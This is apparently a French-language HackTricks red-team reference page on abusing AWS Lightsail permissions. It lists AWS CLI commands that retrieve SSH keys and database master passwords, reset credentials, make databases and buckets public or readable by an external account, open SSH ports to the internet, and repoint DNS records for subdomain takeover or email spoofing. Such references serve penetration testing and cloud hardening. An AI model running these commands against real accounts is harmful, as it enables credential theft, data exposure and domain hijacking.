AWS - Lightsail Privesc

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

Lightsail

Pour plus d'informations sur Lightsail, consultez :

pageAWS - Lightsail Enum

Il est important de noter que Lightsail n'utilise pas les rôles IAM appartenant à l'utilisateur mais à un compte géré par AWS, vous ne pouvez donc pas abuser de ce service pour une élévation de privilèges. Cependant, des données sensibles telles que du code, des clés API et des informations de base de données pourraient être trouvées dans ce service.

lightsail:DownloadDefaultKeyPair

Cette autorisation vous permettra d'obtenir les clés SSH pour accéder aux instances :

aws lightsail download-default-key-pair

Impact potentiel : Trouver des informations sensibles à l'intérieur des instances.

lightsail:GetInstanceAccessDetails

Cette autorisation vous permettra de générer des clés SSH pour accéder aux instances :

aws lightsail get-instance-access-details --instance-name <instance_name>

Impact potentiel : Trouver des informations sensibles à l'intérieur des instances.

lightsail:CreateBucketAccessKey

Cette autorisation vous permettra d'obtenir une clé pour accéder au bucket :

aws lightsail create-bucket-access-key --bucket-name <name>

Impact potentiel : Trouver des informations sensibles à l'intérieur du bucket.

lightsail:GetRelationalDatabaseMasterUserPassword

Cette autorisation vous permettra d'obtenir les identifiants pour accéder à la base de données :

aws lightsail get-relational-database-master-user-password --relational-database-name <name>

Impact potentiel : Trouver des informations sensibles dans la base de données.

lightsail:UpdateRelationalDatabase

Cette autorisation vous permettra de changer le mot de passe pour accéder à la base de données :

aws lightsail update-relational-database --relational-database-name <name> --master-user-password <strong_new_password>

Si la base de données n'est pas publique, vous pourriez également la rendre publique avec ces autorisations avec

aws lightsail update-relational-database --relational-database-name <name> --publicly-accessible

Impact potentiel : Trouver des informations sensibles à l'intérieur de la base de données.

lightsail:OpenInstancePublicPorts

Cette autorisation permet d'ouvrir des ports vers Internet.

aws lightsail open-instance-public-ports \
--instance-name MEAN-2 \
--port-info fromPort=22,protocol=TCP,toPort=22

Impact potentiel : Accès aux ports sensibles.

lightsail:PutInstancePublicPorts

Cette autorisation permet d'ouvrir des ports à Internet. Notez que l'appel fermera tout port ouvert non spécifié dessus.

aws lightsail put-instance-public-ports \
--instance-name MEAN-2 \
--port-infos fromPort=22,protocol=TCP,toPort=22

Impact potentiel : Accéder à des ports sensibles.

lightsail:SetResourceAccessForBucket

Cette autorisation permet de donner à une instance l'accès à un compartiment sans nécessiter de justificatifs supplémentaires

aws set-resource-access-for-bucket \
--resource-name <instance-name> \
--bucket-name <bucket-name> \
--access allow

Impact potentiel : Nouvel accès potentiel aux buckets contenant des informations sensibles.

lightsail:UpdateBucket

Avec cette autorisation, un attaquant pourrait accorder à son propre compte AWS un accès en lecture aux buckets ou même rendre les buckets publics pour tout le monde :

# Grant read access to exterenal account
aws update-bucket --bucket-name <value> --readonly-access-accounts <external_account>

# Grant read to the public
aws update-bucket --bucket-name <value> --access-rules getObject=public,allowPublicOverrides=true

# Bucket private but single objects can be public
aws update-bucket --bucket-name <value> --access-rules getObject=private,allowPublicOverrides=true

Impact potentiel : Nouvel accès potentiel aux compartiments contenant des informations sensibles.

lightsail:UpdateContainerService

Avec ces autorisations, un attaquant pourrait accorder l'accès aux ECR privés à partir du service de conteneurs

aws update-container-service \
--service-name <name> \
--private-registry-access ecrImagePullerRole={isActive=boolean}

Impact potentiel : Obtenir des informations sensibles à partir d'un ECR privé

lightsail:CreateDomainEntry

Un attaquant avec cette autorisation pourrait créer un sous-domaine et le pointer vers son propre adresse IP (prise de contrôle de sous-domaine), ou créer un enregistrement SPF qui lui permet de falsifier des e-mails provenant du domaine, voire définir l'adresse IP principale du domaine sur la sienne.

aws lightsail create-domain-entry \
--domain-name example.com \
--domain-entry name=dev.example.com,type=A,target=192.0.2.0

Impact potentiel : Prendre le contrôle d'un domaine

lightsail:UpdateDomainEntry

Un attaquant avec cette autorisation pourrait créer un sous-domaine et le pointer vers son propre adresse IP (prise de contrôle de sous-domaine), ou créer un enregistrement SPF qui lui permet de falsifier des e-mails provenant du domaine, voire définir l'adresse IP de son propre domaine principal.

aws lightsail update-domain-entry \
--domain-name example.com \
--domain-entry name=dev.example.com,type=A,target=192.0.2.0

Impact potentiel : Prendre le contrôle d'un domaine

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge HackTricks AWS)!

Autres façons de soutenir HackTricks :

Dernière mise à jour